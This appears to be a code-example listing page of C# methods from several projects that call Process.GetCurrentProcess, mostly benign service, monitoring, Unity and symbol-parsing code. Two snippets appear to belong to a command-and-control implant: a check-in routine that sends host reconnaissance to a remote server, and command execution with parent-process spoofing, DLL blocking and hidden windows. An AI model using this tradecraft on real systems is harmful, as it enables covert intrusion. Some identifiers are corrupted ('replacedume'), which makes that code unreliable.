				bfbd.WindowsAPI.WTS.NtPrivileges.SE_TCB_NAME);
			TraceLogger.Instance.WriteLineInfo("Privileges ajusted: " + succeed);

			TraceLogger.Instance.WriteLineInfo("Record Service is starting...");
			_tasks = new PeriodTask(1000);
			_tasks.AddTask("License", this.UpdateLicenseInfo, 60 * 60, 0);
			_tasks.AddTask("Configuration", this.UpdateConfigurationFile, 60, 0);
			_tasks.AddTask("Session", this.ScanWinSessionsToRecordOrEnd, 2, 10);
			_tasks.AddTask("Storage", StorageEngine.ScanAndStoreCacheFiles, 5, 15);
			_tasks.AddTask("Restrict", StorageEngine.ScanAndRestrictLocalStore, 60 * 60, 60 * 60);
			_tasks.AddTask("AccessPolicy", this.UpdateWebAccessPolicy, 60, 0);
			_tasks.Start();
			TraceLogger.Instance.WriteLineInfo("Record Service is started.");
			
			if (Global.Config.AdminWebPort > 80)
			{
				try
				{
					TraceLogger.Instance.WriteLineInfo("Admin Service is starting...");
					_adminWeb = new Server.AdminServiceCore();
					_adminWeb.Start();
					TraceLogger.Instance.WriteLineInfo("Admin Service is started.");
				}
				catch (Exception ex)
				{
					TraceLogger.Instance.WriteException(ex);
					_adminWeb = null;
				}
			}
		}

19 View Source File : WTSEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public static bool SetProcessPrivileges(int processId, params string[] privilegesName)
		{
			bool succeed = false;
			if (processId == 0)
				processId = Process.GetCurrentProcess().Id;

			IntPtr hProcess = OpenProcess(MAXIMUM_ALLOWED, false, (uint)processId);
			if (hProcess != IntPtr.Zero)
			{
				IntPtr hToken;
				if (advapi32.OpenProcessToken(hProcess, TokenAccess.TOKEN_ALL_ACCESS, out hToken))
				{
					succeed = true;
					foreach (string privilege in privilegesName)
						succeed &= SetTokenPrivilege(hToken, privilege);
					
					CloseHandle(hToken);
				}
				CloseHandle(hProcess);
			}
			return succeed;
		}

19 View Source File : RecordServiceCore.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public void Start()
		{
			TraceLog.WriteLineInfo("Privileges ajusting...");
			bool succeed = PrivilegeEngine.SetProcessPrivileges(Process.GetCurrentProcess().Id,
				PrivilegeEngine.SE_replacedIGNPRIMARYTOKEN_NAME,
				PrivilegeEngine.SE_INCREASE_QUOTA_NAME,
				PrivilegeEngine.SE_TCB_NAME);
			TraceLog.WriteLineInfo("Privileges ajusted: " + succeed);

			TraceLog.WriteLineInfo("Record Service is starting...");
			_tasks = new PeriodTask(1000);
			_tasks.AddTask(Global.Tasks.UpdateConfigurations, this.UpdateConfigurations, null, 60, 0);
			_tasks.AddTask(Global.Tasks.RecordingSessions, this.RecordingSessions, null, 5, 10);

			//_tasks.AddTask("License", this.UpdateLicenseInfo, 60 * 60, 0);
			//_tasks.AddTask("Configuration", this.UpdateConfigurationFile, 60, 0);
			//_tasks.AddTask("Session", this.ScanWinSessionsToRecordOrEnd, 2, 10);
			//_tasks.AddTask("Storage", StorageEngine.ScanAndStoreCacheFiles, 5, 15);
			//_tasks.AddTask("Restrict", StorageEngine.ScanAndRestrictLocalStore, 60 * 60, 60 * 60);
			_tasks.Start();
			TraceLog.WriteLineInfo("Record Service is started.");
		}

19 View Source File : Http.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24

public static bool CheckIn()
        {
            try
            {
#if DEFAULT_EKE
                Crypto.GenRsaKeys();
                Utils.GetStage GetStage = new Utils.GetStage
                {
                    action = "staging_rsa",
                    pub_key = Crypto.GetPubKey(),
                    session_id = Utils.GetSessionId()

                };
                Config.SessionId = GetStage.session_id;
                string SerializedData = Crypto.EncryptStage(Utils.GetStage.ToJson(GetStage));
                var result = Get(SerializedData);
                string final_result = Crypto.Decrypt(result);
                Utils.StageResponse StageResponse = Utils.StageResponse.FromJson(final_result);
                Config.tempUUID = StageResponse.uuid;
                Config.Psk = Convert.ToBase64String(Crypto.RsaDecrypt(Convert.FromBase64String(StageResponse.session_key)));
#endif
                Utils.CheckIn CheckIn = new Utils.CheckIn
                {
                    action = "checkin",
                    ip = Utils.GetIPAddress(),
                    os = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", ""),
                    user = Environment.UserName.ToString(),
                    host = Environment.MachineName.ToString(),
                    domain = Environment.UserDomainName.ToString(),
                    pid = Process.GetCurrentProcess().Id,
                    uuid = Config.PayloadUUID,
                    architecture = Utils.GetArch()
                };
#if DEFAULT
                string FinalSerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.PayloadUUID + Utils.CheckIn.ToJson(CheckIn)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
                string FinalSerializedData = Crypto.EncryptCheckin(Utils.CheckIn.ToJson(CheckIn));
#endif
                var new_result = Get(FinalSerializedData);
#if (DEFAULT_PSK || DEFAULT_EKE)
                string last_result = Crypto.Decrypt(new_result);
#endif
#if DEFAULT
                Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(new_result);
#elif (DEFAULT_PSK || DEFAULT_EKE)
                Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(last_result);
#endif
                Config.UUID = CheckInResponse.id;
                if (CheckInResponse.status == "success")
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            catch
            {
                return false;
            }
        }

19 View Source File : PrivilegeEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public static bool SetProcessPrivileges(int processId, params string[] privilegesName)
		{
			bool succeed = false;
			if (processId == 0)
				processId = Process.GetCurrentProcess().Id;

			IntPtr hProcess = kernel32.OpenProcess(MAXIMUM_ALLOWED, false, (uint)processId);
			if (hProcess != IntPtr.Zero)
			{
				IntPtr hToken;
				if (advapi32.OpenProcessToken(hProcess, TokenAccess.TOKEN_ALL_ACCESS, out hToken))
				{
					succeed = true;
					foreach (string privilege in privilegesName)
						succeed &= SetTokenPrivilege(hToken, privilege);

					kernel32.CloseHandle(hToken);
				}
				kernel32.CloseHandle(hProcess);
			}
			return succeed;
		}

19 View Source File : Program.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24

public static string ExecuteShellCommand(int PPID, bool BlockDLLs, string Command)
        {
            var saHandles = new SECURITY_ATTRIBUTES();
            saHandles.nLength = Marshal.SizeOf(saHandles);
            saHandles.bInheritHandle = true;
            saHandles.lpSecurityDescriptor = IntPtr.Zero;

            IntPtr hStdOutRead;
            IntPtr hStdOutWrite;
            IntPtr hDupStdOutWrite = IntPtr.Zero;

            CreatePipe(
                out hStdOutRead,
                out hStdOutWrite,
                ref saHandles,
                0);

            SetHandleInformation(
                hStdOutRead,
                HANDLE_FLAGS.INHERIT,
                0);

            var pInfo = new PROCESS_INFORMATION();
            var siEx = new STARTUPINFOEX();

            siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
            siEx.StartupInfo.hStdErr = hStdOutWrite;
            siEx.StartupInfo.hStdOutput = hStdOutWrite;

            string result = string.Empty;

            try
            {
                var lpSize = IntPtr.Zero;
                if (BlockDLLs)
                {
                    InitializeProcThreadAttributeList(
                        IntPtr.Zero,
                        2,
                        0,
                        ref lpSize);

                    siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);

                    InitializeProcThreadAttributeList(
                        siEx.lpAttributeList,
                        2,
                        0,
                        ref lpSize);

                    var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
                    Marshal.WriteInt64(lpMitigationPolicy, (long)BINARY_SIGNATURE_POLICY.PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);

                    UpdateProcThreadAttribute(
                        siEx.lpAttributeList,
                        0,
                        0x20007,
                        lpMitigationPolicy,
                        (IntPtr)IntPtr.Size,
                        IntPtr.Zero,
                        IntPtr.Zero);
                }
                else
                {
                    InitializeProcThreadAttributeList(
                        IntPtr.Zero,
                        1,
                        0,
                        ref lpSize);

                    siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);

                    InitializeProcThreadAttributeList(
                        siEx.lpAttributeList,
                        1,
                        0,
                        ref lpSize);
                }

                var parentHandle = OpenProcess(
                    0x0080 | 0x0040,
                    false,
                    PPID);

                var lpParentProcess = Marshal.AllocHGlobal(IntPtr.Size);
                Marshal.WriteIntPtr(lpParentProcess, parentHandle);

                UpdateProcThreadAttribute(
                    siEx.lpAttributeList,
                    0,
                    0x00020000,
                    lpParentProcess,
                    (IntPtr)IntPtr.Size,
                    IntPtr.Zero,
                    IntPtr.Zero);

                var hCurrent = Process.GetCurrentProcess().Handle;

                DuplicateHandle(
                    hCurrent,
                    hStdOutWrite,
                    parentHandle,
                    ref hDupStdOutWrite,
                    0,
                    true,
                    0x00000001 | 0x00000002);

                siEx.StartupInfo.hStdErr = hDupStdOutWrite;
                siEx.StartupInfo.hStdOutput = hDupStdOutWrite;

                siEx.StartupInfo.dwFlags = 0x00000001 | 0x00000100;
                siEx.StartupInfo.wShowWindow = 0;

                var ps = new SECURITY_ATTRIBUTES();
                var ts = new SECURITY_ATTRIBUTES();
                ps.nLength = Marshal.SizeOf(ps);
                ts.nLength = Marshal.SizeOf(ts);

                CreateProcess(
                    null,
                    Command,
                    ref ps,
                    ref ts,
                    true,
                    CREATION_FLAGS.CREATE_NO_WINDOW | CREATION_FLAGS.EXTENDED_STARTUPINFO_PRESENT,
                    IntPtr.Zero,
                    null,
                    ref siEx,
                    out pInfo);

                var safeHandle = new SafeFileHandle(hStdOutRead, false);
                var encoding = Encoding.GetEncoding(GetConsoleOutputCP());
                var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true);

                var exit = false;

                try
                {
                    do
                    {
                        if (WaitForSingleObject(pInfo.hProcess, 100) == 0)
                            exit = true;

                        char[] buf = null;
                        int bytesRead;
                        uint bytesToRead = 0;

                        var peekRet = PeekNamedPipe(
                            hStdOutRead,
                            IntPtr.Zero,
                            IntPtr.Zero,
                            IntPtr.Zero,
                            ref bytesToRead,
                            IntPtr.Zero);

                        if (peekRet == true && bytesToRead == 0)
                            if (exit == true)
                                break;
                            else
                                continue;

                        if (bytesToRead > 4096)
                            bytesToRead = 4096;

                        buf = new char[bytesToRead];
                        bytesRead = reader.Read(buf, 0, buf.Length);
                        if (bytesRead > 0)
                            result += new string(buf);

                    } while (true);
                    reader.Close();
                }
                catch { }
                finally
                {
                    safeHandle.Close();
                }

                CloseHandle(hStdOutRead);
            }
            catch { }
            finally
            {
                DeleteProcThreadAttributeList(siEx.lpAttributeList);
                Marshal.FreeHGlobal(siEx.lpAttributeList);
                CloseHandle(pInfo.hProcess);
                CloseHandle(pInfo.hThread);
            }

            return result;
        }

19 View Source File : SystemMonitorBackgroundService.cs
License : MIT License
Project Creator : aishang2015

protected override Task ExecuteAsync(CancellationToken stoppingToken)
        {
            var process = Process.GetCurrentProcess();
            var isUnix = Environment.OSVersion.Platform == PlatformID.Unix || Environment.OSVersion.Platform == PlatformID.MacOSX;
            var instanceName = isUnix ? string.Format("{0}/{1}", process.Id, process.ProcessName) : process.ProcessName;

            // CPU相关
            var m_CpuUsagePC = new PerformanceCounter("Process", "% Processor Time", instanceName);
            var m_ThreadCountPC = new PerformanceCounter("Process", "Thread Count", instanceName);
            var m_WorkingSetPC = new PerformanceCounter("Process", "Working Set", instanceName);

            // 内存相关


            while (true)
            {

                Console.WriteLine("Processor Time = " + m_CpuUsagePC.NextValue() + " %.");
                Console.WriteLine("Thread Count = " + m_ThreadCountPC.NextValue() + "");
                Console.WriteLine("Working Set = " + m_WorkingSetPC.NextValue() + "");

                Thread.Sleep(5000);
            }
        }

19 View Source File : Util.cs
License : MIT License
Project Creator : ajayyy

public static void Quit()
		{
#if UNITY_EDITOR
			UnityEditor.EditorApplication.isPlaying = false;
#else
        // NOTE: The recommended call for exiting a Unity app is UnityEngine.Application.Quit(), but as
        // of 5.1.0f3 this was causing the application to crash. The following works without crashing:
        System.Diagnostics.Process.GetCurrentProcess().Kill();
#endif
		}

19 View Source File : SteamVR_LoadLevel.cs
License : MIT License
Project Creator : ajayyy

IEnumerator LoadLevel()
	{
		// Optionally rotate loading screen transform around the camera into view.
		// We replacedume here that the loading screen is already facing toward the origin,
		// and that the progress bar transform (if any) is a child and will follow along.
		if (loadingScreen != null && loadingScreenDistance > 0.0f)
		{
			// Wait until we have tracking.
			var hmd = SteamVR_Controller.Input((int)OpenVR.k_unTrackedDeviceIndex_Hmd);
			while (!hmd.hasTracking)
				yield return null;

			var tloading = hmd.transform;
			tloading.rot = Quaternion.Euler(0.0f, tloading.rot.eulerAngles.y, 0.0f);
			tloading.pos += tloading.rot * new Vector3(0.0f, 0.0f, loadingScreenDistance);

			var t = loadingScreenTransform != null ? loadingScreenTransform : transform;
			t.position = tloading.pos;
			t.rotation = tloading.rot;
		}

		_active = this;

		SteamVR_Events.Loading.Send(true);

		// Calculate rate for fading in loading screen and progress bar.
		if (loadingScreenFadeInTime > 0.0f)
		{
			fadeRate = 1.0f / loadingScreenFadeInTime;
		}
		else
		{
			alpha = 1.0f;
		}

		var overlay = OpenVR.Overlay;

		// Optionally create our loading screen overlay.
		if (loadingScreen != null && overlay != null)
		{
			loadingScreenOverlayHandle = GetOverlayHandle("loadingScreen", loadingScreenTransform != null ? loadingScreenTransform : transform, loadingScreenWidthInMeters);
			if (loadingScreenOverlayHandle != OpenVR.k_ulOverlayHandleInvalid)
			{
				var texture = new Texture_t();
				texture.handle = loadingScreen.GetNativeTexturePtr();
				texture.eType = SteamVR.instance.textureType;
				texture.eColorSpace = EColorSpace.Auto;
				overlay.SetOverlayTexture(loadingScreenOverlayHandle, ref texture);
			}
		}

		bool fadedForeground = false;

		// Fade out to compositor
		SteamVR_Events.LoadingFadeOut.Send(fadeOutTime);

		// Optionally set a skybox to use as a backdrop in the compositor.
		var compositor = OpenVR.Compositor;
		if (compositor != null)
		{
			if (front != null)
			{
				SteamVR_Skybox.SetOverride(front, back, left, right, top, bottom);

				// Explicitly fade to the compositor since loading will cause us to stop rendering.
				compositor.FadeGrid(fadeOutTime, true);
				yield return new WaitForSeconds(fadeOutTime);
			}
			else if (backgroundColor != Color.clear)
			{
				// Otherwise, use the specified background color.
				if (showGrid)
				{
					// Set compositor background color immediately, and start fading to it.
					compositor.FadeToColor(0.0f, backgroundColor.r, backgroundColor.g, backgroundColor.b, backgroundColor.a, true);
					compositor.FadeGrid(fadeOutTime, true);
					yield return new WaitForSeconds(fadeOutTime);
				}
				else
				{
					// Fade the foreground color in (which will blend on top of the scene), and then cut to the compositor.
					compositor.FadeToColor(fadeOutTime, backgroundColor.r, backgroundColor.g, backgroundColor.b, backgroundColor.a, false);
					yield return new WaitForSeconds(fadeOutTime + 0.1f);
					compositor.FadeGrid(0.0f, true);
					fadedForeground = true;
				}
			}
		}

		// Now that we're fully faded out, we can stop submitting frames to the compositor.
		SteamVR_Render.pauseRendering = true;

		// Continue waiting for the overlays to fully fade in before continuing.
		while (alpha < 1.0f)
			yield return null;

		// Keep us from getting destroyed when loading the new level, otherwise this coroutine will get stopped prematurely.
		transform.parent = null;
		DontDestroyOnLoad(gameObject);

		if (!string.IsNullOrEmpty(internalProcessPath))
		{
			Debug.Log("Launching external application...");
			var applications = OpenVR.Applications;
			if (applications == null)
			{
				Debug.Log("Failed to get OpenVR.Applications interface!");
			}
			else
			{
				var workingDirectory = Directory.GetCurrentDirectory();
				var fullPath = Path.Combine(workingDirectory, internalProcessPath);
				Debug.Log("LaunchingInternalProcess");
				Debug.Log("ExternalAppPath = " + internalProcessPath);
				Debug.Log("FullPath = " + fullPath);
				Debug.Log("ExternalAppArgs = " + internalProcessArgs);
				Debug.Log("WorkingDirectory = " + workingDirectory);
				var error = applications.LaunchInternalProcess(fullPath, internalProcessArgs, workingDirectory);
				Debug.Log("LaunchInternalProcessError: " + error);
#if UNITY_EDITOR
				UnityEditor.EditorApplication.isPlaying = false;
#elif !UNITY_METRO
				System.Diagnostics.Process.GetCurrentProcess().Kill();
#endif
			}
		}
		else
		{
			var mode = loadAdditive ? UnityEngine.SceneManagement.LoadSceneMode.Additive : UnityEngine.SceneManagement.LoadSceneMode.Single;
			if (loadAsync)
			{
				Application.backgroundLoadingPriority = ThreadPriority.Low;
				async = UnityEngine.SceneManagement.SceneManager.LoadSceneAsync(levelName, mode);

				// Performing this in a while loop instead seems to help smooth things out.
				//yield return async;
				while (!async.isDone)
				{
					yield return null;
				}
			}
			else
			{
				UnityEngine.SceneManagement.SceneManager.LoadScene(levelName, mode);
			}
		}

		yield return null;

		System.GC.Collect();

		yield return null;

		Shader.WarmupAllShaders();

		// Optionally wait a short period of time after loading everything back in, but before we start rendering again
		// in order to give everything a change to settle down to avoid any hitching at the start of the new level.
		yield return new WaitForSeconds(postLoadSettleTime);

		SteamVR_Render.pauseRendering = false;

		// Fade out loading screen.
		if (loadingScreenFadeOutTime > 0.0f)
		{
			fadeRate = -1.0f / loadingScreenFadeOutTime;
		}
		else
		{
			alpha = 0.0f;
		}

		// Fade out to compositor
		SteamVR_Events.LoadingFadeIn.Send(fadeInTime);

		// Refresh compositor reference since loading scenes might have invalidated it.
		compositor = OpenVR.Compositor;
		if (compositor != null)
		{
			// Fade out foreground color if necessary.
			if (fadedForeground)
			{
				compositor.FadeGrid(0.0f, false);
				compositor.FadeToColor(fadeInTime, 0.0f, 0.0f, 0.0f, 0.0f, false);
				yield return new WaitForSeconds(fadeInTime);
			}
			else
			{
				// Fade scene back in, and reset skybox once no longer visible.
				compositor.FadeGrid(fadeInTime, false);
				yield return new WaitForSeconds(fadeInTime);

				if (front != null)
				{
					SteamVR_Skybox.ClearOverride();
				}
			}
		}

		// Finally, stick around long enough for our overlays to fully fade out.
		while (alpha > 0.0f)
			yield return null;

		if (overlay != null)
		{
			if (progressBarOverlayHandle != OpenVR.k_ulOverlayHandleInvalid)
				overlay.HideOverlay(progressBarOverlayHandle);
			if (loadingScreenOverlayHandle != OpenVR.k_ulOverlayHandleInvalid)
				overlay.HideOverlay(loadingScreenOverlayHandle);
		}

		Destroy(gameObject);

		_active = null;

		SteamVR_Events.Loading.Send(false);
	}

19 View Source File : PdbFile.cs
License : MIT License
Project Creator : Akaion

private static Dictionary<string, IntPtr> ParseSymbols(string pdbPath, IntPtr moduleAddress)
        {
            var symbols = new Dictionary<string, IntPtr>();

            // Initialise a symbol handler for the local process

            using var localProcess = Process.GetCurrentProcess();

            if (!Dbghelp.SymInitialize(localProcess.SafeHandle, IntPtr.Zero, false))
            {
                throw new Win32Exception($"Failed to call SymInitialize with error code {Marshal.GetLastWin32Error()}");
            }

            // Load the symbol table for the PDB

            var pdbPathBuffer = Encoding.Default.GetBytes(pdbPath);

            var symbolTableBaseAddress = Dbghelp.SymLoadModuleEx(localProcess.SafeHandle, IntPtr.Zero, ref pdbPathBuffer[0], IntPtr.Zero, moduleAddress, (int) new FileInfo(pdbPath).Length, IntPtr.Zero, 0);

            if (symbolTableBaseAddress == IntPtr.Zero)
            {
                throw new Win32Exception($"Failed to call SymLoadModuleEx with error code {Marshal.GetLastWin32Error()}");
            }

            // Initialise the callback used during the SymEnumSymbols call

            bool Callback(ref SymbolInfo symbolInfo, int symbolSize, IntPtr userContext)
            {
                var symbolNameBuffer = new byte[symbolInfo.NameLen];

                Unsafe.CopyBlockUnaligned(ref symbolNameBuffer[0], ref symbolInfo.Name, (uint) symbolNameBuffer.Length);

                symbols.TryAdd(Encoding.Default.GetString(symbolNameBuffer), (IntPtr) symbolInfo.Address);

                return true;
            }

            var callbackDelegate = new Prototypes.EnumerateSymbolsCallback(Callback);

            // Enumerate the PDB symbols

            if (!Dbghelp.SymEnumSymbols(localProcess.SafeHandle, symbolTableBaseAddress, IntPtr.Zero, callbackDelegate, IntPtr.Zero))
            {
                throw new Win32Exception($"Failed to call SymEnumSymbols with error code {Marshal.GetLastWin32Error()}");
            }

            if (!Dbghelp.SymUnloadModule(localProcess.SafeHandle, symbolTableBaseAddress))
            {
                throw new Win32Exception($"Failed to call SymUnloadModule with error code {Marshal.GetLastWin32Error()}");
            }

            return symbols;
        }

See More Examples